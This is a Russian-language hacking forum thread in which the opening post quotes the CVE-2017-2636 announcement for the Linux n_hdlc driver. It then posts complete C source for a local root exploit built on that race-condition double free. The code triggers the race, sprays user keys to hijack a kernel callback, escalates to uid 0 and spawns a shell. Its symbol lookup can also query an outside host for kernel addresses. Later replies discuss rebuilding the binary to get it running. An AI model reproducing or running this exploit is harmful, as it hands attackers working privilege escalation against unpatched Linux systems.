Старый 25.09.2017, 22:47   #1
cj69
 
Регистрация: 09.03.2011
Сообщений: 7
Репутация: 1
По умолчанию CVE-2017-2636 exploit the race condition in the n_hdlc Linux kernel driver

В хакер.ру ещё статью запили и кодом не поделился
К сожалению бага ток на Убунту, на Сентос не актуальна т.к присутствует макрос BUG_ON который вызывает проверку n_hdlc_buf. Толи автор этого не знал ибо не смотрел другие дисты. Прилагаю код который был заброшен после обнаружения нексплотабильносты под сентось, на 14.10-desktop код пашет.

https://a13xp0p0v.github.io/2017/03/...2017-2636.html
Цитата:
This is an announcement of CVE-2017-2636, which is a race condition in
the n_hdlc Linux kernel driver (drivers/tty/n_hdlc.c). It can be exploited
to gain a local privilege escalation.

This driver provides HDLC serial line discipline and comes as a kernel module
in many Linux distributions, which have CONFIG_N_HDLC=m in the kernel config.

The bug was introduced on 22 June 2009

-- Bug details --

N_HDLC line discipline uses a self-made singly linked lists for data
buffers and has n_hdlc.tbuf pointer for buffer retransmitting after
an error. If sending of a data buffer is not successful, then its
address is saved in n_hdlc.tbuf and the next time n_hdlc_send_frames()
will try to resend it first of all.

But the commit be10eb7589337e5defbe214dae038a53dd21add8 ("tty: n_hdlc add
buffer flushing") introduced racy access to n_hdlc.tbuf.

After transmission error concurrent flush_tx_queue() and n_hdlc_send_frames()
can put a buffer pointed by n_hdlc.tbuf to tx_free_buf_list twice. That
causes an exploitable double free error in n_hdlc_release().

To fix the issue I used a standard kernel linked list protected by a spinlock
and got rid of n_hdlc.tbuf. In case of transmission error the current data
buffer is put after the head of tx_buf_list.

Код:
#define _GNU_SOURCE

#include <stdio.h> 
#include <stdlib.h>
#include <stdbool.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <pthread.h> 
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <asm/termbits.h>
#include <asm/unistd.h>
#include <arpa/inet.h>
#include <linux/keyctl.h>
#include <netinet/in.h>
#include <netinet/ip.h>



#define TTY_BUF_SZ			10
#define MAX_RACE_LAG_USEC	50

#define MSG_SZ				7500
#define MSGS_N				20
#define FIXUP_MSGS_N		15
#define KEYS_N				7

#define SOCK_PAIRS			200
#define SOCKS_N				(2 + SOCK_PAIRS * 2)
#define CLI					0
#define SRVS				1
#define EXPLOIT_SRV			1
#define OTHER_SRVS			2
#define PORT_BASE			4200

#define PAYLOAD_SZ			8100
#define SKB_END_OFFSET		7872
#define KEY_DATA_OFFSET		18

#define CR4_VAL				0x0406e0lu
#define SKB_DATA_OFFSET		44
#define PAYLOAD_MAGIC		42
#define SKBTX_DEV_ZEROCOPY (1 << 3)

int ptmd = -1;
int tfail = 0;
pthread_barrier_t our_barrier;


struct skb_shared_info{
	uint8_t	nr_frags;
	uint8_t	tx_flags;
	uint16_t gso_size;
	uint16_t gso_segs;
	uint16_t gso_type;
	uint64_t frag_list; /* struct sk_buff*/
	uint64_t hwtstamps; 
	uint32_t tskey;
	uint32_t ip6_frag_id;
	uint32_t dataref;
	uint64_t destructor_arg;
	uint8_t	frags[16][17];
};

struct ubuf_info{
        void (*callback)(struct ubuf_info *, bool zerocopy_success);
        void *ctx;
        unsigned long desc;
};

unsigned long NATIVE_WRITE_CR4 = 0x0ul;
unsigned long COMMIT_CREDS = 0x0ul;
unsigned long PREPARE_KERNEL_CRED = 0x0ul;
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
 
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

unsigned long try_sysmap(char *name, char *path);
unsigned long try_vmlinux(char *name, char *path);
unsigned long try_vmlinuz(char *name, char *path);
unsigned long try_remote(char *name, char *path);

#define SOURCE(FP, FMT, ARGS) { .fp = FP, .fmt = FMT, .args = ARGS }

#define SYSMAP(FMT, ARGS)  SOURCE(try_sysmap, FMT, ARGS)
#define SYSMAP_0(FMT)      SYSMAP(FMT, 0)
#define SYSMAP_1(FMT)      SYSMAP(FMT, 1)
#define SYSMAP_2(FMT)      SYSMAP(FMT, 2)

#define VMLINUX(FMT, ARGS) SOURCE(try_vmlinux, FMT, ARGS)
#define VMLINUX_0(FMT)     VMLINUX(FMT, 0)
#define VMLINUX_1(FMT)     VMLINUX(FMT, 1)
#define VMLINUX_2(FMT)     VMLINUX(FMT, 2)

#define VMLINUZ(FMT, ARGS) SOURCE(try_vmlinuz, FMT, ARGS)
#define VMLINUZ_0(FMT)     VMLINUZ(FMT, 0)
#define VMLINUZ_1(FMT)     VMLINUZ(FMT, 1)
#define VMLINUZ_2(FMT)     VMLINUZ(FMT, 2)

#define REMOTE(FMT, ARGS)  SOURCE(try_remote, FMT, ARGS)
#define REMOTE_0(FMT)      REMOTE(FMT, 0)

#define REMOTE_HOST "kernelvulns.org"
#define REMOTE_PORT "80"

struct source {
	int args;
	char *fmt;
	unsigned long (*fp) (char *, char *);
};

struct source sources[] = {
	SYSMAP_0("/proc/kallsyms"),
	SYSMAP_0("/proc/ksyms"),
	SYSMAP_1("/boot/System.map-%s"),
	SYSMAP_2("/boot/System.map-genkernel-%s-%s"),
	SYSMAP_1("/System.map-%s"),
	SYSMAP_2("/System.map-genkernel-%s-%s"),
	SYSMAP_1("/usr/src/linux-%s/System.map"),
	SYSMAP_1("/lib/modules/%s/System.map"),
	SYSMAP_0("/boot/System.map"),
	SYSMAP_0("/System.map"),
	SYSMAP_0("/usr/src/linux/System.map"),
	VMLINUX_1("/boot/vmlinux-%s"),
	VMLINUX_1("/boot/vmlinux-%s.debug"),
	VMLINUX_1("/boot/.debug/vmlinux-%s"),
	VMLINUX_1("/boot/.debug/vmlinux-%s.debug"),
	VMLINUX_1("/lib/modules/%s/vmlinux"),
	VMLINUX_1("/lib/modules/%s/vmlinux.debug"),
	VMLINUX_1("/lib/modules/%s/.debug/vmlinux"),
	VMLINUX_1("/lib/modules/%s/.debug/vmlinux.debug"),
	VMLINUX_1("/usr/lib/debug/lib/modules/%s/vmlinux"),
	VMLINUX_1("/usr/lib/debug/lib/modules/%s/vmlinux.debug"),
	VMLINUX_1("/usr/lib/debug/boot/vmlinux-%s"),
	VMLINUX_1("/usr/lib/debug/boot/vmlinux-%s.debug"),
	VMLINUX_1("/usr/lib/debug/vmlinux-%s"),
	VMLINUX_1("/usr/lib/debug/vmlinux-%s.debug"),
	VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/lib/modules/%s/vmlinux"),
	VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/lib/modules/%s/vmlinux.debug"),
	VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/boot/vmlinux-%s"),
	VMLINUX_1("/var/cache/abrt-di/usr/lib/debug/boot/vmlinux-%s.debug"),
	VMLINUX_1("/usr/src/linux-%s/vmlinux"),
	VMLINUX_0("/usr/src/linux/vmlinux"),
	VMLINUX_0("/boot/vmlinux"),
	VMLINUZ_1("/boot/vmlinuz-%s"),
	VMLINUZ_2("/boot/kernel-genkernel-%s-%s"),
	VMLINUZ_1("/vmlinuz-%s"),
	VMLINUZ_2("/kernel-genkernel-%s-%s"),
	VMLINUZ_1("/usr/src/linux-%s/arch/x86/boot/bzImage"),
	VMLINUZ_0("/boot/vmlinuz"),
	VMLINUZ_0("/vmlinuz"),
	VMLINUZ_0("/usr/src/linux/arch/x86/boot/bzImage"),
	REMOTE_0(REMOTE_HOST),
};

unsigned long
try_sysmap(char *name, char *path)
{
	FILE *f;
	unsigned long addr;
	char dummy, sname[512];
	int ret = 0, oldstyle = 0;
	struct utsname ver;

	f = fopen(path, "r");
	if (!f) {
		return 0;
	}

	uname(&ver);
	if (strncmp(ver.release, "2.6", 3)) {
		oldstyle = 1;
	}

	while (ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		} else {
			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
					continue;
				}
				p = strrchr(sname, '_');
				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *) sname && *(p - 1) == '_') {
						p--;
					}
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}

unsigned long
try_vmlinux(char *name, char *path)
{
	char cmd[512];
	char *tmpfile = ".sysmap";
	unsigned long addr;
	
	snprintf(cmd, sizeof(cmd), "nm %s &> %s", path, tmpfile);
	system(cmd);
	addr = try_sysmap(name, tmpfile);
	unlink(tmpfile);

	return addr;
}

unsigned long
try_vmlinuz(char *name, char *path)
{
	FILE *fp;
	void *mem;
	char *token, cmd[1024], out[1024];
	unsigned long *ptr, rodata, curr = 0, prev = 0;
	int i, fd, ret, ctr, off, num_syms;
	struct stat sb;

	unsigned long kallsyms_num_syms;
	unsigned long *kallsyms_addresses;
	unsigned long *kallsyms_markers;
	uint8_t *kallsyms_names;
	uint8_t *kallsyms_token_table;
	uint16_t *kallsyms_token_index;

	char *tmpfile = ".vmlinuz";
	char *madness_1 = "for pos in `tr \"\037\213\010\nxy\" \"\nxy=\" < \"%s\" | grep -abo \"^xy\"`; do pos=${pos%%:*}; tail -c+$pos \"%s\" | gunzip > %s 2> /dev/null; break; done";
	char *madness_2 = "readelf -S %s | grep \"\\.rodata\" | awk '{print $6}'";

	ret = stat(path, &sb);
	if (ret == -1) {
		return 0;
	}

	snprintf(cmd, sizeof(cmd), madness_1, path, path, tmpfile);
	system(cmd);

	ret = stat(tmpfile, &sb);
	if (ret == -1) {
		return 0;
	}

	snprintf(cmd, sizeof(cmd), madness_2, tmpfile);

	fp = popen(cmd, "r");
	if (!fp) {
		return 0;
	}
	fgets(out, sizeof(out), fp);
	pclose(fp);

	rodata = strtoul(out, NULL, 16);

	fd = open(tmpfile, O_RDONLY);
	if (fd == -1) {
		return 0;
	}

	ret = fstat(fd, &sb);
	if (ret == -1) {
		return 0;
	}

	mem = mmap(NULL, sb.st_size, PROT_READ, MAP_SHARED, fd, 0);
	if (mem == MAP_FAILED) {
		return 0;
	}

	ptr = mem + rodata;

	for (ctr = 0; ctr < 5000; ++ctr, ++ptr) {
		prev = curr;
		curr = *ptr;
		if (prev > curr) {
			ctr = 0;
		}
	}

	for (; prev <= curr; ++ptr) {
		prev = curr;
		curr = *ptr;
	}

	num_syms = curr;
	kallsyms_num_syms = (unsigned long) (ptr - 1);
	kallsyms_addresses = (unsigned long *) (kallsyms_num_syms - (num_syms * sizeof(unsigned long)));
	kallsyms_names = (uint8_t *) (kallsyms_num_syms + (1 * sizeof(unsigned long)));

	for (ptr = (unsigned long *) kallsyms_names; *ptr != 0; ++ptr) { }

	kallsyms_markers = ptr;
	kallsyms_token_table = (uint8_t *) (kallsyms_markers + (((num_syms + 255) / 256)));
	token = (char *) kallsyms_token_table;

	for (i = 0; i < 256; ++i) {
		token += strlen(token) + 1;
	}

	kallsyms_token_index = (uint16_t *) ((unsigned long) (token + sizeof(unsigned long)) & ~(sizeof(unsigned long) - 1));

	for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
		char buf[128];
		char *result = buf;
		int len, skipped_first = 0;
		uint8_t *tptr, *data;

		data = &kallsyms_names[off];
		len = *data;
		data++;
		off += len + 1;

		while (len) {
			tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
			data++;
			len--;
			while (*tptr) {
				if (skipped_first) {
					*result = *tptr;
					result++;
				} else {
					skipped_first = 1;
				}
				tptr++;
			}
		}
		*result = '\0';

		if (strcmp(buf, name) == 0) {
			return kallsyms_addresses[i];
		}
	}

	close(fd);
	munmap(mem, sb.st_size);
	unlink(tmpfile);

	return 0;
}

unsigned long
try_remote(char *name, char *path)
{
	int ret, sock;
	struct addrinfo *result;
	struct addrinfo hints;
	unsigned long addr;
	struct utsname ver;
	char msg[512];

	uname(&ver);

	memset(&hints, 0, sizeof(hints));
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_family = AF_INET;

	ret = getaddrinfo(REMOTE_HOST, REMOTE_PORT, &hints, &result);
	if (ret != 0) {
		return 0;
	}

 	sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
	if (sock == -1) {
		return 0;
	}

	ret = connect(sock, result->ai_addr, result->ai_addrlen);
	if (ret == -1) {
		close(sock);
		return 0;
	}

	snprintf(msg, sizeof(msg), "%s|%s|%s", ver.machine, ver.release, name);

	ret = send(sock, msg, strlen(msg), 0);
	if (ret != strlen(msg)) {
		close(sock);
		return 0;
	}

	ret = recv(sock, &addr, sizeof(addr), 0);
	if (ret != sizeof(addr)) {
		close(sock);
		return 0;
	}

	close(sock);
	return addr;
}

unsigned long
ksymhunter(char *name)
{
	char path[512];
	struct source *source;
	struct utsname ver;
	unsigned long addr;
	int i, count;

	uname(&ver);

	count = sizeof(sources) / sizeof(struct source);
	for (i = 0; i < count; ++i) {
		source = &sources[i];

		if (source->args == 0) {
			snprintf(path, sizeof(path), source->fmt, "");
		} else if (source->args == 1) {
			snprintf(path, sizeof(path), source->fmt, ver.release);
		} else if (source->args == 2) {
			snprintf(path, sizeof(path), source->fmt, ver.machine, ver.release);
		}

		addr = source->fp(name, path);
		if (addr) {
			printf("[+] resolved %s using %s\n", name, path);
			return addr;
		}
	}

	return 0;
}


void __attribute__((regparam(3))) root_it(unsigned long arg1, bool arg2){
	commit_creds(prepare_kernel_cred(0));
}

int init_payload(char *p){
    struct skb_shared_info *info = (struct skb_shared_info *)(p +
                    SKB_END_OFFSET - KEY_DATA_OFFSET);
    struct ubuf_info *uinfo_p = NULL;
	char *area = NULL;
    void *target_addr = (void *)(CR4_VAL & 0xfffff000lu);

    area = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (area != target_addr){
        perror("[-] mmap");
        return EXIT_FAILURE;
    }

	uinfo_p = (struct ubuf_info*)CR4_VAL;
    uinfo_p->callback = NATIVE_WRITE_CR4;

    info->destructor_arg = (uint64_t)uinfo_p;
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
	
	p[SKB_DATA_OFFSET - KEY_DATA_OFFSET] = PAYLOAD_MAGIC;
	
	printf("[+] payload:\n");
	printf("\tstart at %p\n", p);
	printf("\tskb_shared_info at %p\n", info);
	printf("\ttx_flags 0x%x\n", info->tx_flags);
	printf("\tdestructor_arg 0x%lx\n", info->destructor_arg);
	printf("\tcallback 0x%lx\n", uinfo_p->callback);
	
	return EXIT_SUCCESS;
}

void reinit_payload(void){
	struct ubuf_info *uinfo_p = (struct ubuf_info *)CR4_VAL;
	uinfo_p->callback = (uint64_t)root_it;
}

int srv_recv(int s){
	char msg[MSG_SZ] = {0 };
	ssize_t bytes = 1;
	usleep(1337);
	
	bytes = recv(s, msg, MSG_SZ, 0);
	if (bytes < 0){
		perror("[-] recv");
		return EXIT_FAILURE;
	}
	
	if(bytes != MSG_SZ){
		printf("[-] recv(bytes)\n");
		return EXIT_FAILURE;
	}
	
	if(msg[0] != 0){
		if(msg[0] != PAYLOAD_MAGIC){
			printf("[-] bad payload magic\n");
			return EXIT_FAILURE;
		}
		
		printf("[+] exploit callback is executed\n");
		
		reinit_payload();
	}
	usleep(1337);
	return EXIT_SUCCESS;
}

int cli_send(int c, struct sockaddr_in *a, uint16_t p){
	char msg[MSG_SZ] = {0};
	ssize_t bytes = -1;
	
	a->sin_port = htons(p);
	
	bytes = sendto(c, msg, MSG_SZ, 0, (struct sockaddr_in *)a, sizeof(struct sockaddr_in));
	
	if(bytes < 0){
		perror("[-] sendto");
		return EXIT_FAILURE;
	}
	
	if(bytes != MSG_SZ){
		printf("[-] sendto (bytes) \n");
		return EXIT_FAILURE;
	}
	return EXIT_SUCCESS;
}

void close_sockets(int *s, struct sockaddr_in *a){
	int i=0; 
	int ret = -1;
	
	for(i = 0; i<SOCKS_N; i++){
		if(s[i] <= 0)
			continue;
		close(s[i]);
	}
}

int prepare_sockets(int *s, struct sockaddr_in *a){
	int ret = 0;
	int rv = 0;
	int i ;
	s[0] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if(s[0] < 0){
		perror("[-] socket failed");
		return EXIT_FAILURE;
	}
	
	memset(&a[0], 0, sizeof(a[0]));
	a[0].sin_family = AF_INET;
	

	rv = inet_aton("127.0.0.1", &a[0].sin_addr);
	if (rv == 0) {
		perror("[-] inet_aton()");
		return EXIT_FAILURE;
	}
	
	for(i =1 ;i < SOCK_PAIRS; i++){
		s[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
		if (s[i] < 0) {
			perror("[-] socket failed");
			return EXIT_FAILURE;
		}
		memset(&a[i], 0, sizeof(struct sockaddr_in));
		a[i].sin_family = AF_INET;
		a[i].sin_addr.s_addr = htonl(INADDR_ANY);
		a[i].sin_port = htons(PORT_BASE+i);

		rv = bind(s[i], (struct sockaddr *)&a[i], sizeof(struct sockaddr_in));
		if (rv == -1) {
			perror("[-] bind()");
			return EXIT_FAILURE;
		}
	}
	return EXIT_SUCCESS;
}

int exploit_skb(int *s, struct sockaddr_in *a,char *payload, int pair){
	int i, ret;
	long k[7] = {0};
	for(i = 0; i < 20; i++){
		if(i == 12 || i == 13 || i == 14 || i == 15){
			ret = cli_send(s[CLI], &a[EXPLOIT_SRV], PORT_BASE + EXPLOIT_SRV);
			continue;
		}
		ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
	}
	
	k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	ret = srv_recv(s[EXPLOIT_SRV]);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
		
	ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
	k[2] = syscall(__NR_add_key, "user", "payload3", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	k[3] = syscall(__NR_add_key, "user", "payload4", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	ret = srv_recv(s[EXPLOIT_SRV]);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
		
		
    ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
	k[4] = syscall(__NR_add_key, "user", "payload5", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	ret = srv_recv(s[EXPLOIT_SRV]);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
		
    ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
	k[5] = syscall(__NR_add_key, "user", "payload6", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	k[6] = syscall(__NR_add_key, "user", "payload7", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
	
	ret = srv_recv(s[EXPLOIT_SRV]);
	if(ret != EXIT_SUCCESS)
		return EXIT_FAILURE;
	
	for(i =0 ; i<KEYS_N; i++){
		if(k[i] > 0)
		 syscall(__NR_keyctl, KEYCTL_INVALIDATE, k[i]);
	}
	
	/* Slab fixup */
	for (i = 0; i < FIXUP_MSGS_N; i++){
		ret = cli_send(s[CLI], &a[CLI], PORT_BASE + OTHER_SRVS + pair * 2 + 1);
		if(ret != EXIT_SUCCESS)
			return EXIT_FAILURE;
	}
	
	return EXIT_SUCCESS;
}

int thread_sync(long lag_nsec){
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;
	
	ret = pthread_barrier_wait(&our_barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD){
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}
	
	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if(ret != 0 ){
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}
	
	while(delta_nsec < lag_nsec){
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0){
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}
		
		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 + ts.tv_nsec - ts0.tv_nsec;
	}
	
	return EXIT_SUCCESS;
}


void* flush_thread(void *arg){
	
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	
	ret = thread_sync(lag_nsec);
	if(ret != EXIT_SUCCESS){
		tfail++;
		return NULL;
	}
	
	ret = ioctl(ptmd, TCFLSH, TCIOFLUSH);
	if(ret < 0){
		perror("[-] TCFLUSH TCIOFLUSH");
		tfail++;
	}
	
	return NULL;
}

void* tcoon_thread(void* arg){
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	
	ret = thread_sync(lag_nsec);
	if(ret != EXIT_SUCCESS){
		tfail++;
		return NULL;
	}
	
	ret = ioctl(ptmd, TCXONC, TCOON);
	if(ret < 0){
		perror("[-] TCXONC TCOON");
		tfail++;
	}
	
	return NULL;
}

void run_sh(void){
	pid_t pid = -1;
	char* args[] = {"/bin/sh", "-i", NULL};
	
	int status = 0;
	
	pid = fork();
	if(pid < 0){
		perror("[-] fork()");
		return;
	}
	
	if (pid == 0){
		execve("/bin/sh", args, NULL);
		perror("[-] execve");
		exit(EXIT_FAILURE);
	}
	
	if(wait(&status) < 0)
		perror("[-] wait");
}

int has_smep()
{
  int eax=7, ebx, ecx=0;

     __asm__("cpuid"
            :"=b"(ebx)
            :"a"(eax), "c"(ecx)
            :"%edx");

  if(ebx & (1 << 7))
        return EXIT_FAILURE; //has smep
    
    return EXIT_SUCCESS;
}

int has_smap(){
    int eax=7, ebx, ecx=0;
    
     __asm__("cpuid"
            :"=b"(ebx)
            :"a"(eax), "c"(ecx)
            :"%edx");
         
    if( ebx & ( 1 << 20))
        return EXIT_FAILURE; //has smap
    
    return EXIT_SUCCESS;
}


int check_centos(){
    FILE *fp;
    char buffer[50] = " ";
    fp = popen("lsb_release -ds", "r");
    fgets(buffer, 50, fp);
    pclose(fp);
    if (strstr(buffer, "CentOS") == NULL )
        return EXIT_FAILURE;
    return EXIT_SUCCESS;
}

int check_kconfig(){
    FILE *f = NULL;
    struct utsname rel;
    char path[255];
    int ret = 0;
    uname(&rel);
    
    strcat(path, "/boot/config-");
    strcat(path, rel.release);
    
    f = fopen(path, "r");
    if(f == NULL)
        return EXIT_FAILURE;
    
    while(ret != EOF){
        char line[80];
        fscanf(f, "%s\n", line);
        if(strstr(line, "CONFIG_BUG") != NULL){
            return EXIT_SUCCESS;
        }
    }
    return EXIT_FAILURE;
}

int main(){
    // check smep
    // check smap 
	int ret = -1;
	cpu_set_t all_cpus;
	cpu_set_t single_cpu;
	char payload[PAYLOAD_SZ] = {0};
	int socks[SOCKS_N] = {0};
	struct sockaddr_in sockaddrs[SOCKS_N];
	const int ldisc = N_HDLC;
	uint8_t buf[TTY_BUF_SZ] = {0};
	long loop = 0;
	pthread_t th[2] = {0};
	
    //ret = has_smap();
    //if(ret != EXIT_SUCCESS){
    //    printf("[-] SMAP enabled\n");
    //    goto end;
    //}
    //
    //ret = has_smep();
    //if(ret == EXIT_SUCCESS)
    //    reinit_payload();
    //else
    //    printf("[-] SMEP enabled\n");

    if(check_centos() == EXIT_SUCCESS){
        printf("[!] CentOS detected\n");
        if(check_kconfig() == EXIT_SUCCESS){
            printf("[!] CONFIG_BUG fined\n");
            return 0;
        }
        printf("[-] Can't open /boot/config\n");
        printf("[-] Continue? [Y\N]\n");
        while(1){
            char ans;
            scanf("%c", ans);
            if((ans == 'Y') || (ans == 'y'))
                break;
            else{
                if((ans == 'N') || (ans == 'n')){
                    printf("[-] exit\n");
                    return 0;
                }  
            } 
        } 
    }


    NATIVE_WRITE_CR4 = ksymhunter("native_write_cr4");
    PREPARE_KERNEL_CRED = ksymhunter("prepare_kernel_cred");
    COMMIT_CREDS = ksymhunter("commit_creds");
    
    prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
    commit_creds = (_commit_creds)COMMIT_CREDS;
    
	printf("begin as: uid=%d, euid=%d\n", getuid(), geteuid());
	
	ret = sched_getaffinity(0, sizeof(all_cpus), &all_cpus);
	if(ret != 0){
		perror("[-] sched_getaffinity");
		goto end;
	}
	
	CPU_ZERO(&single_cpu);
	CPU_SET(0, &single_cpu);
	ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
	if(ret != 0 ){
		perror("[-] sched_setaffinity");
		goto end;
	}
	
	ret = init_payload(payload);
	if(ret != EXIT_SUCCESS)
		goto end;
	
	ret = pthread_barrier_init(&our_barrier, NULL, 2);
	if(ret != 0){
		perror("[-] pthread_barrier_init");
		goto end;	
	}
	
	ret = prepare_sockets(socks, sockaddrs);
	if(ret != EXIT_SUCCESS)
		goto end;

	for (;;) {
		long tmo1 = 0;
		long tmo2 = 0;
		ssize_t bytes = 1;
		
		if (loop % 2 == 0)
			tmo1 = loop % MAX_RACE_LAG_USEC;
		else
			tmo2 = loop % MAX_RACE_LAG_USEC;
			
			
		ptmd = open("/dev/ptmx", O_RDWR);
		if (ptmd < 0) {
			perror("[-] open /dev/ptmx");
			goto end;
		}

		ret = ioctl(ptmd, TIOCSETD, &ldisc);
		if (ret < 0) {
			perror("[-] TIOCSETD");
			goto end;
		}
		
		ret = ioctl(ptmd, TCXONC, TCOOFF);
		if (ret < 0) {
			perror("[-] TCXONC TCOOFF");
			goto end;
		}

		bytes = write(ptmd, buf, TTY_BUF_SZ);
		
		if(bytes < 0){
			perror("[-] write to ptmx");
			goto end;
		}
		
		if (bytes != TTY_BUF_SZ) {
			printf("[-] write to ptmx (bytes)\n");
			goto end;
		}
		
		
		ret = sched_setaffinity(0, sizeof(all_cpus), &all_cpus);
		if (ret != 0) {
			perror("[-] sched_setaffinity");
			goto end;
		}

		ret=pthread_create(&th[0],NULL,&flush_thread, &tmo1);
		if(ret!=0) {
			printf("[-] Unable to create thread #0");
			goto end;
		}
		
		ret=pthread_create(&th[1],NULL,&tcoon_thread,&tmo2);
		if(ret!=0) {
			printf("[-] Unable to create thread #1");
			goto end;
		}
		
		ret = pthread_join(th[0],NULL);
		if(ret != 0){
			perror("[-] pthread_join #0");
			goto end;
		}
		
		ret = pthread_join(th[1],NULL);
		if(ret != 0){
			perror("[-] pthread_join #1");
			goto end;
		}
		
		if (tfail)
			goto end;
		
		ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
		if (ret != 0) {
			perror("[-] sched_setaffinity");
			goto end;
		}
		
		
		ret = close(ptmd);
		if (ret != 0) {
			perror("[-] close /dev/ptmx");
			goto end;
		}
		
		ptmd = -1;
		
		ret = exploit_skb(socks, sockaddrs, payload, loop % SOCK_PAIRS);
		if (ret != EXIT_SUCCESS)
			goto end;

		if (getuid() == 0 && geteuid() == 0) {
			printf("[+] race #%ld: WIN! flush(%ld), TCOON(%ld)",
							loop, tmo1, tmo2);
			break; /* :) */
		}

		loop++;
	}

	printf("[+] finish as: uid=0, euid=0, start sh...");
	run_sh();
	
end:
	if(ptmd > 0){
		ret = close(ptmd);
		if ( ret != 0)
			perror("[-] close /dev/ptmx");
	}
	close_sockets(socks, sockaddrs);
	return 0;
}
cj69 вне форума   Ответить с цитированием
Старый 09.11.2017, 01:57   #2
LorDo
 
Регистрация: 09.12.2014
Сообщений: 16
Репутация: 0
По умолчанию

Вот такя вот шляпа:

./pwn: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.17' not found (required by ./pwn)

Чтото с этим сделать можно ?
LorDo вне форума   Ответить с цитированием
Старый 09.11.2017, 15:41   #3
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Цитата:
Сообщение от LorDo Посмотреть сообщение
Вот такя вот шляпа:

./pwn: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.17' not found (required by ./pwn)

Чтото с этим сделать можно ?
Очевидно, пересобрать статически, либо слинковать с соответствующей версией либсы.
Beched вне форума   Ответить с цитированием
Старый 10.11.2017, 16:36   #4
LorDo
 
Регистрация: 09.12.2014
Сообщений: 16
Репутация: 0
По умолчанию

Цитата:
Сообщение от Beched Посмотреть сообщение
Очевидно, пересобрать статически, либо слинковать с соответствующей версией либсы.
Уже пере собрал статически, не пробило :С Unubtu 12.04 а Linux Kernel 4.9.40 какая-то адская смесь
LorDo вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot